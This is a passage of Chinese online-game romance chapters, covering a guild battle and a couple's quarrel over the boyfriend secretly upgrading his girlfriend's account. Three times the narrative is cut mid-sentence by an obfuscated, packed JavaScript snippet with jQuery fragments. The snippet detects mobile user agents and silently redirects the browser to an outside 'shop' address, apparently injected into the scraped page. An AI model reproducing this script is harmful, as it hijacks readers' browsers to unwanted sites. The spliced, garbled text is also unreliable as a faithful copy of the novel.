【系统】【恭喜少侠风不语勇夺剑尊门派排行榜第一名!风流江湖,笑傲刀兵,当显英雄本色!】 【系统】【恭喜少侠风不语勇夺服务器综合排行榜第一名!风流江湖,笑傲刀兵,当显英雄本色!】 世界上安静了三秒,八卦又开始滚动。 【世界】【嘎嘣脆:打脸来得猝不及防。】 【世界】【麻辣小鱼干:男人都是面子动物,游戏世界哪来的真爱,乐。】 【世界】【本剑第一帅:?怎么一上线我门派排名掉出前三了,谁偷了我的榜???】 【世界】【元气少女李逵:反射弧太长了楼上,打回去重看。】 【世界】【Word麻鸭:电子竞技实力说话,指望别人让算什么本事?捡漏来的门派第一也该还回去了。】 【世界】【说话请投币:……人家小情侣之间的事情不至于恶意这么大吧,就不能是谁强谁上吗,想太多了吧?】 【世界】【莓烦恼:+1,不是人人都恋爱脑的,而且早睡也很强,毫厘之差而已。】 【世界】【国产美少女:没见过早睡微操水平的没资格评价她,打得过她再说话!】 熟悉的名字跳出来,白念眉头一扬,私信夏星。 【好友】【早睡身体好:阿星回来,不用去跟他们吵,没必要。】 对面一秒从炸毛小猫变乖。 【好友】【国产美少女:呜呜好的姐姐!】 白念满意了,无视聊天频道里的叽叽歪歪,顺手对夏星、仗剑和慢性怪人发起组队邀请,夏星来得很快,倒是其余两个人没反应。 仗剑的声音从严禹的耳机中急吼吼地传来:“嫂子等一下!我俩在竞技场呢!” 白念直接隔空开麦:“没事儿,你们先打。” 等待的间隙里,白念才发现严禹有些沉默,她移动鼠标,操控着角色抬手戳了戳他:“你怎么不说话?” 彼端传来清晰的敲击键盘声,听到她说话以后才停下,严禹开口:“来了,刚刚有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13932023|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点事。” “哦,我把他们拉进来,一会儿咱们商量下公会竞赛的事情吧。”白念说。 “好。”对面又是一阵噼里啪啦的打字声,定格在最后啪的一声。 “你在发消息吗?”白念随口一问。 “没有,”严禹顿了顿,给她发了条私信。 【好友】【风不语:yygame-1225】 “这是什么?”白念没看懂。 “我的账号密码,”严禹,“你想玩随时可以登陆。” 白念扬了扬眉毛,没有拒绝:“那我可以体验一下满级装备咯?” “嗯,什么时间都可以,”严禹说,“那你……” 他想开口要她的密码,又怕自己意图太明显,犹豫了两秒,然后就看到自己私信一亮。 【好友】【早睡身体好:bndeyouximima】 “我的你也可以登,”白念语气轻快,“虽然装备没有你的好,但是我有几套剑尊符文搭配是自己按照不同战斗场景做的,和攻略套装不一样,你可以试试。” 严禹轻笑:“好,我学习一下。” 说话间仗剑他们也打完竞技场回来了。 各大公会的玩家最近都忙着备战公会竞赛,游戏里的官方活动相应减少了一些,白念和他们商量了一下,约好了以后每周的公会竞赛都参加,其他时间就囤一囤药材和道具。 好在除了她和夏星,其他三人都是有公会竞赛经验的,需要什么材料道具也很清楚,大概商定之后,白念看了眼时间开口道别:“那就先这样嘛,明天比赛开打了我们再看看查缺补漏。” “晚安姐姐!”夏星先退了游戏。 “好的嫂子,早点休息!”高旭应得很快,又补了一句,“对了嫂子,我们今早在学校论坛看见你和我哥的帖子了,没想到你是我们的学妹啊嘿嘿。” ……八卦的力量真是令人叹为观止啊,白念最后一层弱不禁风的马甲也华丽丽地掉光了。 她扶额:“我也没想到。” “嫂子,你俩什么时候知道对方是同学啊,是我哥追的你吗?你俩什么时候在一起——” 耳机里传来严禹拉开椅子的声音,然后仗剑滔滔不绝的问题戛然而止。 白念笑了笑:“改天说吧,早点休息。” “嗯,早点睡,”严禹沉沉的嗓音透过信号传来,“晚安。” “晚安。” 白念退出游戏,伸了个懒腰爬起来洗漱,游戏里女剑客的头像灰了下去。 她也就没看到,万古游戏论坛里一个新发的帖子飞快地被顶上了热门。 【发帖人:风不语】 【首楼:双倍价格收购五颗九逍之心,以及其他满级女剑尊装备,有意者私我。】 双倍价格的标题引来极大的关注,帖子下面跟满了回复,严禹的论坛私信很快堆满了消息箱,他快速筛选了一遍之后,登上了自己的易宝阁。 “哥你在干嘛?”高旭打着哈欠拎着浴巾从他身后走过,一眼看到一个接一个的付款界面,含着眼泪随口问了句。 严禹关掉交易界面,打开自己的游戏背包,把刚刚买来的装备一股脑赠送到了白念的账号里,然后登陆了她的游戏账号。 女剑客的头像重新在游戏中亮起。 他操作着白念的游戏界面,把刚刚收到的赠礼悉数收进包裹,强化到装备栏里。 几分钟后,系统播报开始在世界上滚动。 【系统】【恭喜少侠早睡身体好勇夺剑尊门派排行榜第一名!风流江湖,笑傲刀兵,当显英雄本色!】 【系统】【恭喜少侠早睡身体好勇夺服务器综合排行榜第一名!风流江湖,笑傲刀兵,当显英雄本色!】 有关白念和他排名的历史消息挂在世界上,他冷眼快速看着系统消息出来后,没睡的玩家震惊的消息一条接一条地冒出来,将那些恶意的消息顶得干干净净。 “没做什么,”他声音沉沉,“清理垃圾罢了。” 89. 第一 第二天下午,万古各个服务器内的公会竞赛正式拉开帷幕。 比赛规则很简单,各公会自愿报名的前提下,由系统进行分组,四个公会成一个小组,小组赛采用单循环赛制,决出前二名进入第二轮淘汰赛。 两个公会之间的对战就更加简单粗暴了,开赛后两帮人马统一传送至比赛场景内,以中轴划分阵营,中立区域设置旗帜,公会内五人一队前往中立区域夺旗,比赛时长一小时,最终夺得旗子的阵营将获得胜利。 公会竞赛,表面上是夺旗之战,实则是强队之争,这规则实际上就是车轮战——公会里最强的五人队往中立区域一蹲,想抢旗子?谁来揍谁。 拼的就是最强战力。 下午快一点半,踏星楼的公会大本营里人头攒动,此刻距离开赛还有十分钟,踏星楼的帮众已经各自组好满编五人队,正在等待系统揭晓分组情况。 正所谓背靠大树好乘凉,此刻公会广场上挤满了人,当前频道里却一派轻松,全是插科打诨的,没有半点大型对战的紧张。 没别的,只是因为自家老大太强了。 往常帮会里的大部分队伍只要负责清理一下对战公会的小队伍就行,厉害点的队伍都有风不语他们队解决,大家只要凑个人头等着赢就行。 “来了来了,分组出来了!”仗剑在麦克风里提醒大家。 白念点开分组公告一看,扬了扬眉。 踏星楼被分在了第三小组,和他们一组的公会还有烟花三月、八仙饭馆、朝元阁。 别的不说,这朝元阁不就是常年屈居第二、老是叫嚣着要和踏星楼一较高下的那个公会嘛? 自从她入会之后,每天都能看到两个公会掐架,这下可算逮到机会光明正大地打一顿了。 踏星楼内部也是炸开了锅。 【公会】【深情马男:靠,怎么又遇上朝元阁,好晦气。】 【公会】【打一次咩一次:好晦气,是看见就想洗眼睛的程度。】 【公会】【奈斯图米啾:今晚也不一定匹配到他们,还有另外两家呢~】 她话音刚落,小组赛内对战顺序也更新了,说什么来什么,他们今晚打的就是朝元阁。 【公会】【柳青青:没事没事,打就完了,早打晚打都是打。】 【公会】【抠着脚流浪:兄弟姐妹们,抄家伙!】 【公会】【跟男人说不:我八十米的砍刀已经饥渴难耐了,淦他丫的!】 公会频道里群情激昂,连仗剑也乐了:“哟,冤家路窄啊。” 白念有点好奇:“踏星楼和朝元阁到底有什么恩怨,怎么每天不是吵架就是在吵架的路上?” 夏星初来乍到,也被这打鸡血似的场面震撼了:“确实,我之前就老看到两家帮众在世界上吵架来着。” “原本只是因为他们不服气,”仗剑说,“咱们公会综合战力排行高出他们一截,他们就老爱盯着咱们,一有什么活动就往我们脸上凑。” “他们应该打不过你们吧?”白念看了眼身旁站着的风不语,有大神坐镇,加上仗剑他们几个也不是吃素的,怎么说也应该能赢吧。 “打是打不过我们,但是他们打我们公会其他人。”说到这里,仗剑的声音都有些冷,“他们公会有几个挺强的队伍,打不过我们就专门挑弱的下手,经常算准了活动时间堵我们的人,抢材料不说,还要把人杀回重生点,掉经验、毁装备。” 在万古的竞技场景中,玩家可以随意发起pk,被打死的人不仅会掉落采集到的灵药矿石等材料道具,还会掉经验、掉装备耐久,死得次数多了,装备就彻底坏了。 踏星楼很多人被他们这么围杀过,偏偏以朝元阁会长为代表的那群人极其嚣张和不要脸,每次遭到质问就是一脸理所当然:“想杀就杀咯,游戏规则是这样,不服就打回来啊。” 仗剑也试图带队堵回去,奈何那些人极其猥琐,甚至专门派人盯住他们的行踪,他们一去就跑,恶心死人不偿命,建筑专业课业又忙,他们也没那么多时间跟这些人浪费,只能在正式比赛场合碰一碰。 一来二去,对面就嚣张至极。 ……白念看了一眼公会频道,突然觉得大家骂得还是克制了。 虽然她和朝元阁之间没什么恩怨,但自从加入公会以来,她接收到了许多善意,平时的公会活动缺少材料道具什么的,大家多多少少也会互相帮助。 她食指在鼠标上轻轻点了点,语气平静地放狠话:“揍他丫的。” 风不语轻笑的声音从麦克风里传来:“好,揍。” 两点整,两帮人马被准时传送进了竞赛场景内,踏星楼被分配到了蓝色方,在地图的右侧,传送一落地,仗剑就带着白念他们,领着大部队浩浩荡荡朝中立区域赶去。 朝元阁那边到了这样正式的比赛场合消停了许多,悄没声儿的绕着山水树林走,试图把景观建模当掩体,实行龟缩游击战术。 踏星楼才不惯着他们,大部队倾巢而出,打不打得过的放一边,专门盯着那几支实力强劲的队伍的踪迹,一发现他们的身影立刻标点,鲜红的进攻信号一亮起,仗剑立刻杀到他们面前,把对面拖进了pk空间里。 【当前】【Word麻鸭:……不是,怎么上来就打啊,咱们和平发育不好吗?外面那么多怪物,你们不去管吗?】 对面的队长是个法师,嬉皮笑脸地打商量,围观的帮众翻着白眼一语道破。 【当前】【打一次咩一次:装什么呢?不是上周你们截胡我们灵草杀我们人的时候了?】 【当前】【Word麻鸭:哎哟,第一大公会这么小气呢?几颗灵草而已,你们打不过我们被抢东西很正常啊。】 对面还在厚着脸皮拖延时间。这就是他们面对踏星楼采取的策略,拖就完了。哪支队伍遇到风不语他们,就尽力拖时间,让外面其他强力队伍去清理踏星楼其他人。 不过这会儿大部分人都在观战,朝元阁外面的队伍也没办法对观战状态的人发起攻击,两拨人干脆看起比赛来了。 夏星下意识开口:“怎么感觉这人名字有点眼熟?” 昨天忙着打竞技场的仗剑一头雾水:“啊,什么人?” 夏星:“他昨天骂姐姐!” 白念也发现了,这不就是昨天在世界频道上嘲讽她门派第一是捡漏的那个人吗? 她乐了。 送上门的人头,不要白不要。 仗剑:“我靠这能忍,淦他!” 白念言简意赅:“放着我来。” 电脑彼端,严禹原本已经准备按下的技能键悄然松开,他冷眼看了看对面的法师,一开口语气平静:“好。” 懒得再跟对面废话,白念反手拔出背后的九逍剑,剑柄上散发着浅淡银辉的剑穗在空中甩出一道漂亮的弧线,快速地给自己上了一个真杀特效——降低对手50%的物理防御。 慢性怪人和夏星在同一时间各自给她套上物理和法术护盾,白念在三重buff加持下,如同离弦的箭一般,原地一跃暴起,顷刻间位移到对面法师面前。 对方虽然嘴上诡辩,行动上早已经做好了防备,对面和慢性怪人同一职业的凌云火速给法师套了个物理护盾,饶是如此,白念哐哐两剑下去,法师的血条立刻见底。 白念还想补刀,对面的剑尊已经拔剑格挡了她的攻势,正要反手朝她攻击姿态下失守的背部刺去,白念立刻转身闪避,背后却骤然滑过一阵风声,随后耳边传来一道刀兵相碰的清脆金属音。 锵! 严禹提剑替她拦住了对面剑尊的动作,白念转身逃开,火速旋身闪到刚刚死里逃生的法师面前,手起剑落,银色飘渺的剑气擦着法师的前胸一划。 法师,卒。 而严禹这边,迅速撤回相接的长剑,白衣剑客脖颈微微向后一仰避开对面剑尊的反攻,随后眨眼间一跃至他身后,在对方还来不及撤回攻势之际,蜻蜓点水般往他背后一刺,收手。 剑尊,卒。 对面顷刻间损失两名输出,奶妈紧赶慢赶地复活队友,凌云忙着给重新站起来的队友加血,手忙脚乱之际,当前频道慢悠悠地飘出一句话。 【当前】【早睡身体好:不经打。】 仗剑没忍住“扑哧”笑出声:“嫂子好骂。” 夏星的重点则有点歪:“姐姐,你们两个剑尊大佬并肩作战真的很帅有没有……” 白念看了眼屏幕里风不语熟悉的身影,弯起嘴角,在心里给夏星默默点了个赞。 对面气急败坏。 【当前】【Word麻鸭:没有风不语你算什么?早死了。】 白念操控着方向键躲避对面灵宠的攻击,把他的话当放屁。 不过对面也不是吃素的,迅速组织反击战术,不敢去碰风不语,就把攻击的矛头指向了白念,刚刚被复活的法师站起来直接甩出一个单体攻击法伤,直指她而来。 白念依稀记得这个法师的排名很高,通常脆皮剑尊是扛不住这样动辄四五千血的单体法伤的,她提着剑预判着开口:“阿星准备复活我。” 下一秒暴雨属性技能劈头盖脸地砸在白念头上,气势汹汹地在她头顶打出了“-2200”的字样。 嗯?白念愣了一下,怎么好像……不是很疼? 但她微妙的疑惑很快被战斗吸引了注意力。 既然她没死,夏星火速转换技能,给她加了口血,随后仗剑在对面奶妈身上标了个“集火”的信号,风不语顺手也给自己上了个真杀特级,两柄长剑都隐隐燃起浅金色的特技光效。 下一秒,白念和严禹同时提剑,众人的视线里只能看见一黑一白两道飘逸的身影同时出手,直奔对面奶妈而去,真杀加持下奶妈的身板和纸一样脆,压根扛不住他们俩的同时攻击,应声倒地。 解决了可以复活队友的奶妈,接下来的事情就简单多了,两个高排行剑尊加上五头威风凛凛的灵宠,砍瓜切菜一样把对面剩下的人清理了一遍,场上只剩下一个犹自嘴硬的法师和他的随身灵宠。 然后大家同时默契地停下了手,把这个人留给白念。 【当前】【早睡身体好:不服的话很简单,给你时间吃药回血,单挑,药钱我报销。】 话说到这个份上,对面法师的面子被高高架起,再不应战枉为男人。他硬着头皮嗑了个血药,把自己血条回满,一声不吭抬手就甩过来一个单体攻击技能。 ……然后被残血的白念飞身上前两剑砍死。 【当前】【早睡身体好:继续。】 灵宠是可以给人物喂药的,这才是白念给他留下宠物的原因。 对面法师沉默了两秒,又硬着头皮吃了颗复活药站起来。 这次他连白念的衣角都碰不到,技能就被她极限闪避开,然后无情送走。 【当前】【早睡身体好:继续。】 …… 众所周知,一次战斗每个人可以有五次吃药的机会。 白念在众目睽睽之下杀了他四次。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这场比赛结束半小时后,众多战力分析的正经帖子里却冉冉升起一个风格诡异的视频,迅速抢占了比赛板块的热门。 【标题:公会竞赛?正义的暴打!这是不是最帅女剑尊!】 视频里是正常战斗和双方对话的完整录像,前因后果清清楚楚,最震撼的是排行前三的法师玉霄硬生生被视频里的女玩家暴杀了四次直到认输投降,还被逼当着两方玩家的面许下赔偿和退让的承诺……下面的吃瓜楼越堆越高。 【1L:这位女剑尊之前几年的比赛里从来没见过,这个微操真的太震撼了,对面法师战力也很高的,被她遛得找不着北……】 【3l:被姐姐迷晕,姐姐缺奶狗吗?185八块腹肌男大可以要一个联系方式吗?】 【7l:不是,楼上那些晒腹肌的别骚了,没看到人家有对象吗,你当旁边的男剑尊是吃素的?人家服务器第一,当心线上追杀。】 【8l:!!!风神什么时候有的对象,隔服务器如隔山,这瓜没人爆?我失恋了呜呜呜】 【12l:有一说一,这两人的微操水平几乎是一样的,本人六年技术博主,详细战斗细节分析看我主页最新帖子,逐帧解析,不夸张地说,我感觉这将是最强操作组合】 【25l:夸张了吧,双剑尊的组合不是没有,走到最后的有多少?剑尊有多脆皮又不是不知道,少提前吹了,去年三服的冠军还没说话呢。】 【32l:这也不是普通剑尊啊……你没见过他们往年的服内比赛吧,人家只是懒得参加服战而已】 【45l:梦中情缘的模样了,好好嗑啊,两个强者并肩作战真的太梦幻了……】 论坛里纷纷扰扰,当事人却一概不知。 战斗结束后时间还早,严禹单独组了个队,拉着白念回家进行日常安胎,看她一直没说话,开口问道:“还生气吗?” “没什么好生气的啊……”白念翻看着战斗记录,随口道,“不知道是不是我的错觉,总感觉我没那么脆了。” 耳机里的呼吸顿了一下,随后严禹若无其事地开口:“是吗?可能是对面太菜了。” “确实很菜,”白念摸着下巴,“但是也不至于这么菜,一个排行前十的玉霄大招才打我两千……” “每天的副本不是加属性吗?”严禹说,“也许不知不觉就厉害起来了……你过来看,宝宝的防御属性点又涨了。” 白念眯了眯眼睛,看了画面里正在配合管家煮药的人一眼,觉得他的后脑勺都透露着转移话题的气息:“我怎么感觉你有事瞒着我。” “……哪有。”严禹语气平静而诚恳。 白念盯着他看了又看,敏锐地察觉到不对劲,迟疑着拉出自己的属性面板。 熟悉的面板音效通过耳机传到了严禹耳朵里,他声音里罕见地带着点慌乱,想要试图阻止:“别——” 然而已经来不及了,装备栏上一溜醒目飘红的满数值属性,想看不清都难。 白念:? 她沉默了一秒,目光下移,瞥见了自己头顶被夫妻称谓顶下去的、全新的、陌生的头衔。 【绝世高手】(获得条件:本服务器综合排行第一) 白念:??? 下一秒,严禹放在电脑旁的手机应声响起,白念毫无波澜的声音从听筒里传来。 “你出来。” 90. 分歧 “对不起。” 见面的第一时间,严禹立刻态度诚恳地道歉。 白念正坐在晋云湖畔的长椅上等他。 她出来得匆忙,身上只穿了一条白色的棉质长裙,单薄的袖子里不断有凉风灌进去。夕阳西下,寒冷的空气里夹带着湿漉漉的水雾,沁得她胳膊发凉。 听到严禹低声道歉,她偏过头睨了一眼站在身侧的男生,语气有点古怪:“对不起什么?” 湖面上有一阵风拂过,路灯早早开启,暖黄的灯光映照下,白念裸.露在外的颈侧泛起一层不明显的鸡皮疙瘩。 严禹目光从她单薄的裙子上扫过,脱下自己的黑色夹克,轻轻罩在她的身上,又仔细地拢了拢衣领,就着这个弯腰的姿势和她对视,然后才缓缓开口:“不该没经过你同意做这些事。” 宽大的外套上带着严禹身上残留的温度,连同他身上浅淡的气息一同将白念的嗅觉淹没,她轻轻吸了吸鼻子,声音里听不出喜怒:“比如?” “……”严禹看了眼她的表情,捉摸不定她此刻的情绪,缓缓开口,“比如稍微动了一下你的装备。” 白念气笑了。 他的稍微,指的是把白念身上所有没加满的属性格全都炼化加满,把九逍剑升级缺的五颗九逍之心全都补齐,顺带手给她换了两件金光闪闪的神装,以及强行给她头顶按上一个白来的全服第一? 一晚上砸了小三十万的稍微? 她深吸一口气:“严大少爷真是财大气粗。” “对不起,”严禹察觉到她语气里的认真,在她面前半蹲下来,伸手将她微凉的双手包进自己的掌心,语气沉沉地又道了一次歉,“……我只是不想看到有人说你。” 白念愣怔片刻,轻轻叹了口气,放软了语调,抬起眼睛与他对视:“你花的这些钱,短期可能有点难,以后我慢慢还你。” 她的语气比起刚才的质问堪称平静温和,严禹的情绪却骤然沉了下去:“为什么要还?” 白念抽出手来:“你应该知道,我不喜欢欠别人人情,也不喜欢这种不是自己挣来的第一。” 严禹的手僵在半空,仿佛有什么东西哽在喉咙不上不下,他语气干涩:“……我是别人?” 大约是他此刻的目光太过晦暗,盯得白念心口发紧,她轻轻侧开脸,盯着水汽氤氲的湖面缓缓开口:“我只是突然发觉,我们有很大的……不同。” 她原本想说差距,话到嘴边转了个弯,下意识换了个更为温和的词汇。 她从来没欠过那么贵的人情,沉甸甸地让她有些无法应对,她尽量委婉地表达了自己的想法。 严禹一言不发,沉默地看着她的侧脸。 深秋的夜幕落得极快,夕阳很快没入地平线,视线开始变得模糊昏暗,浓重的天色里,她的侧脸白得出奇,在树影下迷蒙得像一抹转瞬就会消散的云。 他看了许久,才缓缓发问:“所以呢?” 白念挺直的脊背随着他出声悄无声息地松开两分:“所以我想说,我们能不能——” “不能,”没等她说完,严禹就突兀地开口打断,声音仓促又紧绷,“我不同意。” 白念有点发愣:“你知道我要说什——” “不知道,”严禹语速很快,带着些虚张声势的仓皇,“别说了。” “……”白念看着他罕见的强势,终于有些反应过来,“你是不是以为,我要跟你说……分手?” 这两个尖锐的字眼一冒出来,严禹倏地抬起眼睛来看她,暮色里他眼里的情绪晦暗难辨,里面有些陌生的东西,让白念愣了一下。 她见过那样的眼神。 那天严禹在春望小学教室的讲台上突然出现异常,白念上去帮忙,却被他紧紧扣住肩膀,沉默凶狠地抬头望过来,那时的眼神…… 和现在很像。 她敏锐地感觉到眼前这个人情绪的异常,有些担心地伸出手去覆上他的手背,微凉的指尖触碰到他的一瞬,就被他蓦地反握在掌心,力度极大。 “……你怎么了?”白念轻声开口。 声音打破了凝滞的氛围,严禹喉结滚动了一下,理智蓦然回笼,他闭了闭眼:“我没事。” “你捏疼我了。”白念开玩笑似的晃了晃自己被握住的手。 严禹怔怔地垂眼看了下自己的手,后知后觉地卸了力,低下头去检查:“对不起……我看看。” “我开玩笑的,不痛,”白念站起身来,轻松地张合了一下手掌,示意自己真的没有大碍,而后歪了歪脑袋看向跟着站起来,神情紧张的某人,“我不是要说这个。” 严禹垂着眼轻轻帮她捏了捏手指,语气平静下来:“嗯。” 看他面无表情的模样,白念有点好笑,指尖在他掌心里轻点了两下:“我是想说,以后我们能不能多商量一下,不是说好了坦诚相待吗?” “好,以后都跟你说,”严禹轻轻抓住她顽皮的指尖,认真点头:“我不会再这样了,别生气。” 白念轻轻咬了咬唇:“也不是生气,我知道你是为了我好,只是有点不习惯。” 她的眼睛在灯下亮如星子,轻轻浅浅地说着话,严禹认真地低头看她,突然伸出手来,将她揽入怀中,把脸埋在她的发间:“我知道了。” 气氛重新变得静谧安宁,白念松了口气,今晚的沟通好像还算顺利? 严禹的声音闷闷地从头顶传来:“那还钱的事也不要再提了,可以吗?” 白念呼吸一顿,从他怀里直起身来:“我以为你理解我的意思了。” 一码归一码,她有她自己要坚持的东西,也许在别人看来无足轻重。 严禹的手落在半空,缓缓收回,声音沉沉:“你还是觉得我们不同,对吗?” 白念皱了皱眉:“这是我的原则。” 严禹久久凝望着她,突然扯出一抹笑:“你是第一天才知道我们不同的吗?既然这样,那为什么还要——” 话说到一半,他强行咽了回去,白念却听懂了他的意思。 既然这样,那为什么还要答应他。 她淡淡地笑了一下:“我突然发觉,某种程度上我俩都一样固执……算了,你先回去冷静一下吧,改天再说,也许我们都应该好好考虑一下。” 说完脱下身上的外套递给他,他没有动,白念转身放到了长椅上扭头就走。 身后的背影静静地沉默,不知道是不是白念转身太快的错觉,她从那道被夜幕吞没的身影里觉出一丝寂寥。 她咬了咬唇,借着昏黄的灯光往前迈步。 晋城是个雾气深重的城市,空气里湿度很大,植被本就繁密,湖畔因为常年喷泉水雾迷漫的缘故,地砖上更是爬满了青苔,她得集中注意力才能落脚。 “白念。” 身后陡然传来一道喑哑的嗓音,严禹在她身后开口,却又没了下文。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988873|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她背对着他顿了顿,脚步没停。 心神摇摆间,她踏上了一块湿滑的青苔,脚下顿时失去倚仗,她重心一偏,身体立刻向后倒去。 她下意识伸出手想要向后撑住,一双手却比她更快,一把揽住她的腰向旁边带去,白念眼前的景象天旋地转地晕了一圈,然后被他快速动作的惯性猛地往旁边一按,背部重重地磕在了硬邦邦的树干上。 她下意识闭眼忍痛,想象中的痛觉却并未传来,背后有什么东西替她缓冲了一下,她惊魂未定地回头,然后就看见严禹伸出手臂,稳稳地圈过她的背隔在中间,给她结结实实当了一回肉垫。 面对面贴身的距离将一切声音放大,白念清晰地听到他急促的呼吸,以及胸腔里鼓噪的心跳,甚至跳得比她自己还剧烈。 她咽了咽口水,有点被吓到:“你的手臂——” “白念。”他却浑不在意自己的手,又嗓音沉沉地喊她的名字。 他总是喜欢这么连名带姓地喊她,平平常常的称呼带着让人心痒的质感,只是这会儿,只剩下沉重的沙哑。 白念抬起头来看他。 方才剧烈动作下两人的呼吸都还未平复,他的眼神带着强烈的说不明的情绪,深深地看了她几秒,随后闭了闭眼,松开了她。 白念在等他说话,可他喊了她一声后又一言不发,抽出手臂和她拉开距离,打开手机的灯光照亮地面,垂着眼睛不看她:“算了,你走吧。” 他整个人落在灯光后面,神情隐没在光亮中,长长的眼睫盖住了所有目光和情绪。 “哦……”她惊魂未定,有些迟缓地应了一声,下意识转身迈出一只脚。 “呵。” 身后传来一声极轻的笑,白念还没反应过来,手腕上就传来重重的抓握,白念眼前刺目的灯光一闪而过又被什么盖了下去。 是严禹一把抓住了她按回了树干上,呼吸还未平复,声音沙哑地质问:“你非要和我算得那么清楚?” 他的呼吸洒在白念的额头,她抿着唇没有说话,用力挣扎了一下,丝毫挣脱不开严禹的手,她有些恼怒,呼吸重了几分,几乎与他剧烈的心跳同一频率。 她从来没见过严禹这幅固执的模样,如墨一般的眼眸紧紧盯着她,带着不可反驳的强势,像是非要从她嘴里听到一个答案。 白念不想在他这样不冷静的时候和他争辩,又用力扯了扯自己的手腕,依然纹丝不动,她咬了咬牙,突然踮起脚来,冲着他近在迟尺的肩膀狠狠咬了一口。 似乎是没料到她这样的动作,严禹吃痛低低地“嘶”了一声,目光复杂地松开了手掌。 白念一得到自由,立刻别开眼睛不去看他。 身后沉默良久,随后传来悉悉簌簌的动静,似乎是严禹弯腰捡起了掉在地上的手机,重新给她照亮了前方的小路,他在灯光后面开口:“抱歉。” 白念轻轻开口:“你冷静一下。” “冷静?”严禹蓦地又笑了一下,这次他平静了许多,只是带着些许自嘲,“我总觉得你会像刚才一样,在我面前消失。白念,你让我觉得不真实。” 白念低下头咽下满腔的情绪,沉默了片刻后说道:“我们现在不适合谈这个。” 身后的人重新沉默了下来,只有手里的灯光静静地照着她的脚下。 他们一人在明,一人在暗,隔着难言的屏障。 白念匆匆回头一瞥,拔腿离开。 91. 师门 第二天白念只有早上有课。 中午十二点,下课铃声一响,大部队如同潮水一般浩浩荡荡地往地下美食街赶,白念和室友跟在人群之后出了教室门。 菲菲下意识看了一眼综合楼的大厅里,这一周以来,她们已经习惯了下课后教室门外鹤立鸡群地站着一个醒目的身影,态度自然地等待白念吃午饭。 今天却不见人影。 “念念,你家大神今天不来陪你吃午饭了吗?”她好奇地随口问了一句,“今早好像也没看到他来寝室楼下送早餐哎,是有事吗?” 白念敛眉垂眸,表情没有异常:“是吧。” 她这话回答得极其含糊。 要是菲菲敏锐的话就会察觉,白念自己也不清楚问题的答案。但是菲菲童鞋一向神经大条,简简单单地被这句话应付过去了,下意识点点头,看了一眼时间:“哦……哇,我们得快点儿,今天炒菜窗口有糖醋排骨呢!” 白念笑了下,跟上她们的脚步,只是在路过大厅时,几不可察地偏过头轻轻看了一眼那空荡荡无人停留的地方一眼。 不用顶着人来人往好奇探究抑或八卦的目光,她本应该松一口气的,不知道为什么,她却轻松不起来。 昨晚回到寝室后,他给她发过一条消息,简简单单的一句早点休息,白念没有回复。 大约是缺少倾诉的渠道,从小到大,她遇到事情最习惯解决方式就是冷处理,小的事情很快就会随着时间推移过去,大的问题……她习惯用行动回击。 她一向不擅长处理这样复杂而绵延的情绪问题。 白念掏出手机看了一眼微信聊天界面,她和严禹的聊天记录停留在他那句早点休息之后就再也没动静。 “念念,小心楼梯呀!”菲菲一把拉住了差点一脚踩空的她,吸着凉气提醒了一句。 白念愣了愣,听话地收起了手机。 她突然觉得自己好像有点矫情。 明明没有回复的是她。 她好像……已经习惯了他所有的主动。 正午的美食街十分拥挤,熙熙攘攘的人群里含混夹杂着机器叫号和点菜的声音。 菲菲和江含卿热衷于炒菜窗口的糖醋排骨,每周五必定要去排长队,白念和方淇对这个算是可有可无,两人选择点个清清淡淡的小馄饨,在一边的空位上坐下,开始等待。 吵嚷的大厅里,小馄饨窗口人相对较少,白念漫无目的地等着,一道脆生生的女声在她背后响起:“你尝尝这个,我觉得超好吃的!” 白念轻微地抬起眼睛看了一眼,离她不远的角落里,是情侣模样的两个人,女生笑着夹了个什么东西放在他碗里,想要劝他尝一下。 而她的男朋友环顾了四周密密麻麻的人群一眼,恰好对上了白念的眼睛,白念目光一闪而过低下头去,没忽略男生脸上很隐秘的尴尬和不耐:“你自己吃就行了,干嘛非要给我。” 女生原本的语气有些雀跃和期待,闻言陡然低落了下去,声音都低了几分:“给自己的男朋友分享好吃的有什么问题吗。” 男生皱了皱眉,又很快地环视了一圈:“外面人这么多,别这么肉麻。” “肉麻?”女生愣了一下,缓缓收回手臂,像是不理解,“这有什么……我们不是情侣吗?” “总之在外面你离我远点就行了,”男生看她表情变化明显,勉强耐下性子道,“我一个大男生被人看见黏黏糊糊的像什么样子。” 女生盯着埋头吃饭的男生看了半晌,才缓缓开口:“所以你才不让我去你们寝室楼下等你,也不让我在路上和你牵手吗?” 这个角落比较安静,白念被迫在等待期间听了一耳朵,正听得直皱眉,闻言愣了一下。 她觉得这女生的控诉似曾相识。 男生以为她终于理解他的意思了,眉目舒缓了一些,嘴上还要哄人:“宝宝,我们高中就在一起了,还在乎这一天两天的腻歪吗?私下里你想怎么样都行,在外面咱们保持点距离没什么不好对不对?” 